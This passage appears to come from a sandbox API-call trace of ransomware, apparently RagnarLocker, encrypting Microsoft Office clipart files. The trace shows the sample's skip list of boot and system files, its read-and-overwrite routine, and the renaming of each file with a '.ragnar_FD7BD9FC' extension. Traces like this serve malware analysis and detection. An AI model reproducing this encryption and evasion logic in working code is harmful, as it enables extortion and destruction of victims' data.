Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.824] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01852_.WMF" | out: lpString1="NA01852_.WMF") returned="NA01852_.WMF" [0088.824] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF") returned=".WMF" [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="autorun.inf") returned 1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="boot.ini") returned 1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="bootfont.bin") returned 1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="bootsect.bak") returned 1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="bootmgr") returned 1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="bootmgr.efi") returned 1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="desktop.ini") returned 1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="iconcache.db") returned 1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="ntldr") returned -1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="ntuser.dat") returned -1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="ntuser.ini") returned -1 [0088.824] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="thumbs.db") returned -1 [0088.824] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.824] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.824] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.825] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.825] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.825] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.825] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf")) returned 0x20 [0088.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.825] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4408) returned 1 [0088.825] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x112f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.825] GetProcessHeap () returned 0x580000 [0088.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.825] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.828] VirtualAlloc (lpAddress=0x0, dwSize=0x1138, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.828] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.828] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.828] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1138, lpOverlapped=0x0) returned 1 [0088.829] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.829] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1138, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.829] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1138, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1138, lpOverlapped=0x0) returned 1 [0088.830] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1138, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.830] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.830] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1138, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.830] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.830] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.830] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.830] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.830] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.830] GetProcessHeap () returned 0x580000 [0088.830] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.830] CloseHandle (hObject=0xf4) returned 1 [0088.830] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" [0088.830] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.ragnar_FD7BD9FC" [0088.830] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.831] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01858_.WMF", cAlternateFileName="")) returned 1 [0088.831] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.831] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01858_.WMF" | out: lpString1="NA01858_.WMF") returned="NA01858_.WMF" [0088.831] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF") returned=".WMF" [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="autorun.inf") returned 1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="boot.ini") returned 1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="bootfont.bin") returned 1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="bootsect.bak") returned 1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="bootmgr") returned 1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="bootmgr.efi") returned 1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="desktop.ini") returned 1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="iconcache.db") returned 1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="ntldr") returned -1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="ntuser.dat") returned -1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="ntuser.ini") returned -1 [0088.831] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="thumbs.db") returned -1 [0088.832] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.832] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.832] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.832] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.832] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.832] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.832] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf")) returned 0x20 [0088.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.832] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4296) returned 1 [0088.832] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.832] GetProcessHeap () returned 0x580000 [0088.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.832] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.834] VirtualAlloc (lpAddress=0x0, dwSize=0x10c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.848] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.848] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.848] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x10c8, lpOverlapped=0x0) returned 1 [0088.973] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.973] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.973] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10c8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x10c8, lpOverlapped=0x0) returned 1 [0088.973] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.973] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.974] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.974] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.974] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.974] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.974] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.974] GetProcessHeap () returned 0x580000 [0088.974] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.974] CloseHandle (hObject=0xf4) returned 1 [0088.974] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" [0088.974] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.ragnar_FD7BD9FC" [0088.974] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.976] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa55a300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa55a300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01866_.WMF", cAlternateFileName="")) returned 1 [0088.976] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.976] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01866_.WMF" | out: lpString1="NA01866_.WMF") returned="NA01866_.WMF" [0088.976] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF") returned=".WMF" [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="autorun.inf") returned 1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="boot.ini") returned 1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="bootfont.bin") returned 1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="bootsect.bak") returned 1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="bootmgr") returned 1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="bootmgr.efi") returned 1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="desktop.ini") returned 1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="iconcache.db") returned 1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="ntldr") returned -1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="ntuser.dat") returned -1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="ntuser.ini") returned -1 [0088.976] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="thumbs.db") returned -1 [0088.976] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.976] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.976] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.976] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.976] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.976] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.976] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf")) returned 0x20 [0088.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.977] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3512) returned 1 [0088.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.977] GetProcessHeap () returned 0x580000 [0088.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.977] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.979] VirtualAlloc (lpAddress=0x0, dwSize=0xdb8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.979] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.979] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.979] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdb8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdb8, lpOverlapped=0x0) returned 1 [0088.979] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.980] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.980] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdb8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdb8, lpOverlapped=0x0) returned 1 [0088.980] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.980] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.980] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.980] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.980] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.980] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.980] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.980] GetProcessHeap () returned 0x580000 [0088.980] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.980] CloseHandle (hObject=0xf4) returned 1 [0088.980] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" [0088.980] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.ragnar_FD7BD9FC" [0088.980] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.981] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02009_.WMF", cAlternateFileName="")) returned 1 [0088.981] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.981] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02009_.WMF" | out: lpString1="NA02009_.WMF") returned="NA02009_.WMF" [0088.981] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF") returned=".WMF" [0088.981] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.981] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="autorun.inf") returned 1 [0088.981] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="boot.ini") returned 1 [0088.981] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="bootfont.bin") returned 1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="bootsect.bak") returned 1 [0088.982] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="bootmgr") returned 